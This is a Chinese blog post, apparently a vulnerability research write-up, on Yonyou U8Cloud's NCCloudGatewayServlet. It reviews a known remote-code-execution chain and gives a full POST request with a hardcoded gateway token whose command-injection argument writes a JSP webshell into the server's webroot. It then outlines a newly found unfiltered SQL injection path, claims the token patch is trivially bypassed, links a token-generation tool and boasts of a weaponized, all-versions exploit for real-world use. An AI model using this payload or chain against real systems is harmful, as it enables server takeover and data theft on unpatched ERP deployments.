基于U8Cloud NCCloudGatewayServlet RCE漏洞发掘新利用链:全版本通杀SQL注入
NCCloudGatewayServlet RCE回顾
基于通报的分析

直接搜索NCCloudGatewayServlet接口,定位到nccloudgw.upm

跟踪ServletForGW,顶部是一堆私有属性

查看结构:

发现只有doAction方法可以接收HTTP参数,猜测此方法为入口,继续往下看:

从HTTP请求头部获取一个gatewaytoken请求头使用checkGateWayToken进行校验,跟进此方法

此处的nctoken是传输过程中的明文token,其处理流程是对后续的nccloud.gateway.nctoken进行encode和decode加解密操作。
查看nccloud.gateway.nctoken:

发现是加密过后的,那就跟进一下上一步的encode、decode,跟踪到Encode.class


应该是AES,密钥也有

到此token获取成功,回到ServletForGW继续审计

创建一个json对象后从request里获取请求数据。

发现调用callNCService(),所以继续往下看

反射

但是反射的类必须是注册在EJB容器中的服务。
这个对本漏洞无影响,对自己挖链子有影响,后面再说
基于补丁的分析
第一个补丁:

黑名单封了两个类,掩耳盗铃有点
IActionInvokeService:

跟进实现:

跟进exec:

ProcessFileUtils:

到此结束

如何构造POC以及为什么




需要注意的是

此处argType为什么是Object

实战利用方式
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.131.130:8088
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json
(一行空行)
{
"serviceInfo": {
"serviceClassName": "com.ufida.zior.console.IActionInvokeService",
"serviceMethodName": "exec",
"serviceMethodArgInfo": [
{
"argType": { "body": "java.lang.String" },
"argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" },
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": { "body": "java.lang.String" },
"argValue": { "body": "openFile" },
"agg": false,
"isArray": false,
"isPrimitive": false
},
{
"argType": { "body": "java.lang.Object" },
"argValue": { "body": "dummy.txt \"& echo (要求不能出现双引号的jsp马子并且能够自己输出到缓冲区回显,让AI写一个得了)) > C:\\U8CloudCERP5.1\\U8CERP\\webapps\\u8c_web\\shell2.jsp\"" },
"agg": false,
"isArray": false,
"isPrimitive": false
}
]
}
}


总结
整体思路:

可以看到这条链子简单来说就是callNCService->IActionInvokeService->ProcessFileUtils(任意可控参数功能点)
看了朋友中的文章说可以换掉后边的功能点去实现各种漏洞打法,试了下确实如此,但是这种思路在打完官方这个极其敷衍的补丁之后也会被拦截

所以思考了一下,既然第三步的功能点可以替换掉,那么第二步的反射点是不是也可以替换掉?
基于此便有了下文
NCCloudGatewayServlet SQL注入新链挖掘
审计过程
上文已经说过了,因为callNCService()反射的类必须是注册在EJB容器中的服务,所以不能随便找一个可控参数的反射类就拿过来充数。在挖掘过程中踩了不少坑:

最开始找到PfUtilTools,结果这个类不能被NCLocator.getInstance().lookup找到,所以本想以此为跳板,只要找到一个调用runClass且能被NCLocator.getInstance().lookup找到的类,就相当于把上文的RCE链子换了一下抄过来。可惜所有涉及到PfUtilTools.runClass的用法居然都是反射硬编码。
喷一下U8开发,你都硬编码了还要反射干集贸。

最后只能去找可调用的 nc.itf.* 接口,找到如下几个:
nc.itf.uap.rbac.IUserManageQuery - 用户管理服务
nc.itf.uap.zior.console.IActionInvokeService - 反射执行服务(上文的RCE漏洞)
nc.itf.uap.sf.IConfigFileService - 配置服务
nc.itf.uap.bd.corp.ICorpQry - 组织架构查询服务 ← SQL注入点
发现在ICorpQry中存在一个queryCorpVOByWhereSQL的接口

跟踪一下实现

再跟踪retrieveByClause

发现这个类有很多重载,找到一个可能的点

跟踪buildSql进去

无过滤SQL注入,塞到之前的RCE链子,这条链子就通了。
链子思路
GatewayGW

CorpImpl

BaseDAO

JdbcPersistenceManager

Token绕过
在官方针对与NCCloudGatewayServlet RCE的补丁里面对Token也加了一定的限制,加入了时间戳和sign验签。

不过绕过还是很简单的,此处就不过多赘述了。搓了一个工具,方便以后如果找到新链子就直接拿ts和sign打就行
链接:U8 Token生成工具(提取码:b108)

最终POC

打的是官网最新5.1的补丁,老版本也能打通,换成默认Token即可,全版本通杀实现。

最后晒一个武器化

因为U8项目组解散了,所以这个漏洞只能从用户侧去防护,实战也是一打一个准,感觉可以当个小shiro

浙公网安备 33010602011771号